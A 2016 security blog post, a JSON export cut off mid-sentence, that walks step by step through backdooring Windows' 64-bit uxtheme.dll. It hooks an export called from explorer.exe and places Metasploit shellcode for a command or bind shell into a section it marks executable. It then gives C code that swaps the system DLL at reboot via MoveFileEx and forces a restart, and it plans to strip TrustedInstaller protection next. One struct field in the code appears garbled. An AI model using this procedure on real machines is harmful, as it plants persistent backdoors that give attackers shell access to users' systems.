{"id":1307,"date":"2016-07-29T17:32:02","date_gmt":"2016-07-29T17:32:02","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=1307"},"modified":"2016-07-31T17:26:50","modified_gmt":"2016-07-31T17:26:50","slug":"backdooring-dlls-part-2","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2016\/07\/backdooring-dlls-part-2\/","title":{"rendered":"Backdooring DLL&#8217;s Part 2"},"content":{"rendered":"<p>Today I have some good news. Backdooring a dll file is a lot easier than I first made it out to be. Especially if we skip the bullshit of the IAT and take advantage of shellcode. <\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/1394305570820.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/1394305570820.jpg\" alt=\"1394305570820\" width=\"403\" height=\"312\" class=\"alignnone size-full wp-image-1345\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/1394305570820.jpg 403w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/1394305570820-300x232.jpg 300w\" sizes=\"(max-width: 403px) 100vw, 403px\" \/><\/a><\/p>\n<p>There are problems with using shellcode &#8211; size constraints are different. In my previous example, I didn&#8217;t need much space &#8211; just under 40 bytes. Windows shellcode, to do anything cool, is much larger than Linux shellcode, especially if its in stages and encoded. This is fine tho as there are numerous ways to get more space. I can just as easily just mark another code section and write my data there. <\/p>\n<p>We&#8217;ll be attacking uxtheme.dll because as I said before it&#8217;s unsigned, used by everything, and has some space we can use. <\/p>\n<p>Step 1 is to find a cave. Like before, we launch our cave script, give it a size big enough for shellcode. Note that I&#8217;m attacking the 64 bit version of uxtheme.dll and utilizing 64 bit ida. <\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/cave.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/cave-300x169.png\" alt=\"cave\" width=\"300\" height=\"169\" class=\"alignnone size-medium wp-image-1311\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/cave-300x169.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/cave-768x432.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/cave-1024x576.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/cave.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>See that?<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #f8f8f8; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\">Possible alignment block<span style=\"color: #666666\">(<\/span>s<span style=\"color: #666666\">)<\/span>:\r\n.text:0000000171B56C77 393 alignment bytes\r\n.rdata:0000000171B88161 3743 alignment bytes\r\n.data:0000000171B8B928 1752 alignment bytes\r\n.didat:0000000171B92128 3800 alignment bytes\r\n<\/pre>\n<\/div>\n<p>Lot&#8217;s of space to work with. I don&#8217;t even need to adjust the PE header here and take advantage of the area at the end of the text section.<\/p>\n<p>Now let&#8217;s find an exe that uses uxtheme.dll and see what function it imports. <\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/ux_theme_exe.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/ux_theme_exe-300x161.png\" alt=\"ux_theme_exe\" width=\"300\" height=\"161\" class=\"alignnone size-medium wp-image-1312\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/ux_theme_exe-300x161.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/ux_theme_exe-768x412.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/ux_theme_exe-1024x549.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/ux_theme_exe.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Notepad will do I guess&#8230;.wait, what am I thinking. What about explorer.exe? Everyone uses explorer.exe! I mean that&#8217;s the point of uxtheme.dll &#8211; to set theme options for explorer.exe. <\/p>\n<p>First thing we do is pick an imported dll function from uxtheme.dll within explorer.exe<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_exe_import.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_exe_import-300x169.png\" alt=\"explorer_exe_import\" width=\"300\" height=\"169\" class=\"alignnone size-medium wp-image-1314\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_exe_import-300x169.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_exe_import-768x432.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_exe_import-1024x575.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_exe_import.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>I&#8217;m going with GetWindowsTheme(). Double click on the import so we can see any external references.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_import_2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_import_2-300x238.png\" alt=\"explorer_import_2\" width=\"300\" height=\"238\" class=\"alignnone size-medium wp-image-1315\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_import_2-300x238.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_import_2-768x609.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_import_2.png 961w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Luckily there&#8217;s only 2. We need to find out which one is set when a new theme is selected within explorer. For this we need to fire up our debugger. In this case, I&#8217;m using x64dbg which is awesome, to attach to explorer.exe.<\/p>\n<p>Once we&#8217;re attached (run debugger as admin), we&#8217;ll need the proper addresses to set breakpoints on. Because of relocation, the addresses seen in IDA will not match what is seen in the debugger. It&#8217;s an easy fix however &#8211; just need the base address&#8230;(available from the memory window tab) which is 7FF669860000. This address will be different every time.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_dbg.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_dbg-298x300.png\" alt=\"explorer_dbg\" width=\"298\" height=\"300\" class=\"alignnone size-medium wp-image-1317\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_dbg-298x300.png 298w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_dbg-150x150.png 150w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_dbg-768x774.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_dbg.png 886w\" sizes=\"(max-width: 298px) 100vw, 298px\" \/><\/a><\/p>\n<p>So now we plug this into the &#8216;rebase&#8217; menu in IDA (Edit->Segments->Rebase Program):<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/rebase.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/rebase.png\" alt=\"rebase\" width=\"325\" height=\"381\" class=\"alignnone size-full wp-image-1316\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/rebase.png 325w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/rebase-256x300.png 256w\" sizes=\"(max-width: 325px) 100vw, 325px\" \/><\/a><br \/>\nAnd IDA&#8217;s addresses will then match what we see in the debugger. Useful huh?<\/p>\n<p>Anyways, bringing up external references to our selected GetWindowTheme() function shows us addresses 00007FF669898096 and 00007FF6699588B6. Because X64dbg attempts to mimic windbg in functionality, all you have to do break on these addresses is by using the command bar at the bottom:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/breakpoint.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/breakpoint.png\" alt=\"breakpoint\" width=\"365\" height=\"421\" class=\"alignnone size-full wp-image-1318\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/breakpoint.png 365w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/breakpoint-260x300.png 260w\" sizes=\"(max-width: 365px) 100vw, 365px\" \/><\/a><\/p>\n<p>Running the theme manager and selecting a theme seems to set off our breakpoint at address 00007FF669898096. This address and the event (selecting a theme in the windows Theme manager) is our magic ticket.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_dbg_2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_dbg_2-300x169.png\" alt=\"explorer_dbg_2\" width=\"300\" height=\"169\" class=\"alignnone size-medium wp-image-1319\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_dbg_2-300x169.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_dbg_2-768x432.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_dbg_2-1024x576.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/explorer_dbg_2.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>So now let&#8217;s inspect the function within uxtheme.dll. We need at least 5 bytes to jump to a useful location.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_ida_2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_ida_2-300x210.png\" alt=\"uxtheme_ida_2\" width=\"300\" height=\"210\" class=\"alignnone size-medium wp-image-1321\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_ida_2-300x210.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_ida_2-768x539.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_ida_2-500x350.png 500w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_ida_2.png 904w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\nSee that right there? The &#8216;or eax,0xFFFFFFFF&#8217; That&#8217;s exactly what we want. The op codes for that operation are &#8216;0D FF FF FF FF&#8217; &#8211; 5 bytes is just what we need for a long jump. <\/p>\n<p>Now we need some code to put inside. Recall from before, I have 393 alignment bytes (junk bytes) at address .text:0000000171B56C77. Plenty to work with.<\/p>\n<p>Let&#8217;s boot up Metasploit and see what we can grab.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/win_shellcode_0.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/win_shellcode_0.png\" alt=\"win_shellcode_0\" width=\"617\" height=\"741\" class=\"alignnone size-full wp-image-1324\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/win_shellcode_0.png 617w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/win_shellcode_0-250x300.png 250w\" sizes=\"(max-width: 617px) 100vw, 617px\" \/><\/a><\/p>\n<p>275 bytes &#8211; just enough size to spawn a cmd shell without fucking with the PE structure. Super duper. But what about an actual remote command shell tho?<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/win_shellcode_1.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/win_shellcode_1-300x159.png\" alt=\"win_shellcode_1\" width=\"300\" height=\"159\" class=\"alignnone size-medium wp-image-1323\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/win_shellcode_1-300x159.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/win_shellcode_1-768x407.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/win_shellcode_1.png 872w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>505 bytes? It&#8217;s too fuckin big to fit in our 393 byte space.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/shellcode_64bit_bind_too_big.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/shellcode_64bit_bind_too_big.png\" alt=\"shellcode_64bit_bind_too_big\" width=\"631\" height=\"910\" class=\"alignnone size-full wp-image-1322\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/shellcode_64bit_bind_too_big.png 631w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/shellcode_64bit_bind_too_big-208x300.png 208w\" sizes=\"(max-width: 631px) 100vw, 631px\" \/><\/a><\/p>\n<p>That&#8217;s no problem though. We have other areas in the DLL we can make use of.<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #f8f8f8; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\">Possible alignment block<span style=\"color: #666666\">(<\/span>s<span style=\"color: #666666\">)<\/span>:\r\n.text:0000000171B56C77 393 alignment bytes\r\n.rdata:0000000171B88161 3743 alignment bytes\r\n.data:0000000171B8B928 1752 alignment bytes\r\n.didat:0000000171B92128 3800 alignment bytes\r\n<\/pre>\n<\/div>\n<p>3743 bytes in &#8216;.rdata&#8217;. Historically &#8216;.rdata&#8217; will contain read only data structures, sometimes debug info. But there&#8217;s no real standard. Problem is, if we try and run code from this area, we will get an access violation and crash. This is because the section is not meant to have code in it. We can mark the area executable like our &#8216;.text&#8217; section and drop our 505 bytes of data inside. <\/p>\n<p>Here I&#8217;m using CFF explorer again to do just that:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/section_header_fun.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/section_header_fun-300x253.png\" alt=\"section_header_fun\" width=\"300\" height=\"253\" class=\"alignnone size-medium wp-image-1325\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/section_header_fun-300x253.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/section_header_fun-768x647.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/section_header_fun-1024x863.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/section_header_fun.png 1064w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Now we need to modify the DLL export entry GetWindowTheme() to jump to address 0000000171B88161 which will contain our shellcode as well as a jump back at address 0000000171B05350. <\/p>\n<p>For simplicity&#8217;s sake, I&#8217;m using x64dbg again and am loading the dll directly into the debugger. We&#8217;ll have to rebase again to use the right addresses within IDA. Luckily we know how.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/1469023497982.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/1469023497982.jpg\" alt=\"1469023497982\" width=\"262\" height=\"236\" class=\"alignnone size-full wp-image-1326\" \/><\/a><\/p>\n<p>So we go to the address of the export, modify the &#8216;or eax,FFFFFFFF&#8217; instructions to jump to our new address of junk bytes in the &#8216;.rdata&#8217; section.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg-300x169.png\" alt=\"uxtheme_dbg\" width=\"300\" height=\"169\" class=\"alignnone size-medium wp-image-1327\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg-300x169.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg-768x432.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg-1024x576.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Now we paste our shellcode (Right click area, choose Binary->Paste Ignore Size) into the are we jumped to, and for good measure, we add our old instructions we replaced followed by a jump back &#8211; because we roll clean. <\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg_2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg_2-300x169.png\" alt=\"uxtheme_dbg_2\" width=\"300\" height=\"169\" class=\"alignnone size-medium wp-image-1328\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg_2-300x169.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg_2-768x432.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg_2-1024x576.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg_2.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Now we save our work. Choose the &#8216;Patches&#8217; menu and select &#8216;Patch File&#8217; to save our work.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg_3.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg_3-300x169.png\" alt=\"uxtheme_dbg_3\" width=\"300\" height=\"169\" class=\"alignnone size-medium wp-image-1329\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg_3-300x169.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg_3-768x432.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg_3-1024x576.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_dbg_3.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Now we confirm our changes in IDA:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_ida_3.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_ida_3-300x169.png\" alt=\"uxtheme_ida_3\" width=\"300\" height=\"169\" class=\"alignnone size-medium wp-image-1330\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_ida_3-300x169.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_ida_3-768x432.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_ida_3-1024x576.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_ida_3.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>OK then &#8211; we now have a backdoored uxtheme.dll file that activates via explorer.exe when a user selects a new theme. So now we have to figure out how the heck we can replace this file so that our dll is loaded instead of the one in system32. <\/p>\n<p>There seems to be a multitude of uxtheme changing applications on the net. It seems hacking \/ tweaking windows is popular. This could be our way in. <\/p>\n<p>I decided on this tool <a href=\"https:\/\/www.syssel.net\/hoefs\/software_uxtheme.php?lang=en\" target=\"_blank\">Ultra Uxtheme Patcher<\/a>. <\/p>\n<p>It looks innocent enough.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_patcher.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_patcher.png\" alt=\"uxtheme_patcher\" width=\"505\" height=\"385\" class=\"alignnone size-full wp-image-1334\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_patcher.png 505w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_patcher-300x229.png 300w\" sizes=\"(max-width: 505px) 100vw, 505px\" \/><\/a><\/p>\n<p>Running the thing with procmon  with &#8216;uxtheme.dll&#8217; as part of the path filter reveals a little bit on what it&#8217;s doing and how it&#8217;s patching uxtheme.dll.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_replacer_reverse_engineering_0.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_replacer_reverse_engineering_0-300x169.png\" alt=\"uxtheme_replacer_reverse_engineering_0\" width=\"300\" height=\"169\" class=\"alignnone size-medium wp-image-1335\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_replacer_reverse_engineering_0-300x169.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_replacer_reverse_engineering_0-768x432.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_replacer_reverse_engineering_0-1024x576.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_replacer_reverse_engineering_0.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>It looks as though the program is creating a file named &#8216;uxtheme.dll.new&#8217;, naming the old DLL file as &#8216;uxtheme.dll.backup&#8217; and attempting to write to the system file. This is incomplete information. Loading the thing into ApiMonitor (Rohit labs rocks), we get a clearer picture. <\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_replacer_reverse_engineering.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_replacer_reverse_engineering-300x187.png\" alt=\"uxtheme_replacer_reverse_engineering\" width=\"300\" height=\"187\" class=\"alignnone size-medium wp-image-1336\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_replacer_reverse_engineering-300x187.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_replacer_reverse_engineering-768x480.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_replacer_reverse_engineering-1024x640.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/uxtheme_replacer_reverse_engineering.png 1447w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>As I suspected &#8211; the file is being moved and delayed until a reboot has occurred. The <a href=\"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/aa365240(v=vs.85).aspx\" target=\"_blank\">MoveFileEx<\/a> function has a parameter(MOVEFILE_DELAY_UNTIL_REBOOT) for delaying movement of files that would otherwise be in use until reboot. This makes it possible to modify system files. Ever wonder why Windows needs to reboot after every update? This is why. <\/p>\n<p>That said we don&#8217;t need to do much to replace uxtheme.dll with our own backdoored code. Just need to code up some C app. <\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #f8f8f8; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800\">#include &lt;windows.h&gt;<\/span>\r\n<span style=\"color: #008800\">#include &lt;stdio.h&gt;<\/span>\r\n\r\n<span style=\"color: #008800\">#define MAX_BUF 1024<\/span>\r\n\r\n<span style=\"color: #00BB00; font-weight: bold\">void<\/span> <span style=\"color: #00A000\">GiveShutdownPrivs<\/span>(<span style=\"color: #00BB00; font-weight: bold\">void<\/span>);\r\n\r\n<span style=\"color: #00BB00; font-weight: bold\">int<\/span> <span style=\"color: #00A000\">main<\/span>(<span style=\"color: #00BB00; font-weight: bold\">void<\/span>)\r\n{\r\n    GiveShutdownPrivs();\t\r\n\tMoveFileEx(<span style=\"color: #BB4444\">&quot;%windir%<\/span><span style=\"color: #BB6622; font-weight: bold\">\\\\<\/span><span style=\"color: #BB4444\">system32<\/span><span style=\"color: #BB6622; font-weight: bold\">\\\\<\/span><span style=\"color: #BB4444\">uxtheme.dll&quot;<\/span>,<span style=\"color: #BB4444\">&quot;%windir%<\/span><span style=\"color: #BB6622; font-weight: bold\">\\\\<\/span><span style=\"color: #BB4444\">system32<\/span><span style=\"color: #BB6622; font-weight: bold\">\\\\<\/span><span style=\"color: #BB4444\">uxtheme.dll.old&quot;<\/span>, MOVEFILE_DELAY_UNTIL_REBOOT);\r\n\tMoveFileEx(<span style=\"color: #BB4444\">&quot;uxtheme_modded.dll&quot;<\/span>,<span style=\"color: #BB4444\">&quot;%windir%<\/span><span style=\"color: #BB6622; font-weight: bold\">\\\\<\/span><span style=\"color: #BB4444\">system32<\/span><span style=\"color: #BB6622; font-weight: bold\">\\\\<\/span><span style=\"color: #BB4444\">uxtheme.dll&quot;<\/span>, MOVEFILE_DELAY_UNTIL_REBOOT);\r\n\tprintf(<span style=\"color: #BB4444\">&quot;File moved, now we&#39;e gonna reboot<\/span><span style=\"color: #BB6622; font-weight: bold\">\\r\\n<\/span><span style=\"color: #BB4444\">&quot;<\/span>);\r\n\tgetchar();\r\n\tExitWindowsEx(EWX_REBOOT<span style=\"color: #666666\">|<\/span>EWX_FORCEIFHUNG, <span style=\"color: #666666\">0<\/span>);\r\n}\r\n\r\n<span style=\"color: #00BB00; font-weight: bold\">void<\/span> <span style=\"color: #00A000\">GiveShutdownPrivs<\/span>(<span style=\"color: #00BB00; font-weight: bold\">void<\/span>)\r\n{\r\n\tHANDLE hToken;\r\n    TOKEN_PRIVILEGES tkp;\r\n\r\n    <span style=\"color: #AA22FF; font-weight: bold\">if<\/span> (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES<span style=\"color: #666666\">|<\/span>TOKEN_QUERY, <span style=\"color: #666666\">&amp;<\/span>hToken))\r\n    {\r\n      <span style=\"color: #AA22FF; font-weight: bold\">if<\/span> (LookupPrivilegeValue(<span style=\"color: #AA22FF\">NULL<\/span>, SE_SHUTDOWN_NAME, <span style=\"color: #666666\">&amp;<\/span>tkp.Privileges[<span style=\"color: #666666\">0<\/span>].Lulolwutid))\r\n      {\r\n        tkp.PrivilegeCount <span style=\"color: #666666\">=<\/span> <span style=\"color: #666666\">1<\/span>;\r\n        tkp.Privileges[<span style=\"color: #666666\">0<\/span>].Attributes <span style=\"color: #666666\">=<\/span> SE_PRIVILEGE_ENABLED;\r\n      \r\n        AdjustTokenPrivileges(hToken, FALSE, <span style=\"color: #666666\">&amp;<\/span>tkp, <span style=\"color: #666666\">0<\/span>, <span style=\"color: #AA22FF\">NULL<\/span>, <span style=\"color: #666666\">0<\/span>);\r\n      }<span style=\"color: #AA22FF; font-weight: bold\">else<\/span>\r\n\t\t{\r\n\t\t\tprintf(<span style=\"color: #BB4444\">&quot;This doesn&#39;t work if you&#39;re not an admin!<\/span><span style=\"color: #BB6622; font-weight: bold\">\\r\\n<\/span><span style=\"color: #BB4444\">&quot;<\/span>);\r\n\t\t\tExitProcess(<span style=\"color: #666666\">1<\/span>);\r\n\t\t}\r\n\r\n\r\n      CloseHandle(hToken);\r\n    }\r\n}\r\n<\/pre>\n<\/div>\n<p>Short and simple code, however this will ONLY work on XP or if we first remove the <a href=\"http:\/\/helpdeskgeek.com\/windows-7\/windows-7-how-to-delete-files-protected-by-trustedinstaller\/\" target=\"_blank\">TrustedInstaller permissions from uxtheme.dll<\/a>. This can also be done programmatically of course so let&#8217;s make use of NSIS. <\/p>\n<p><!-- 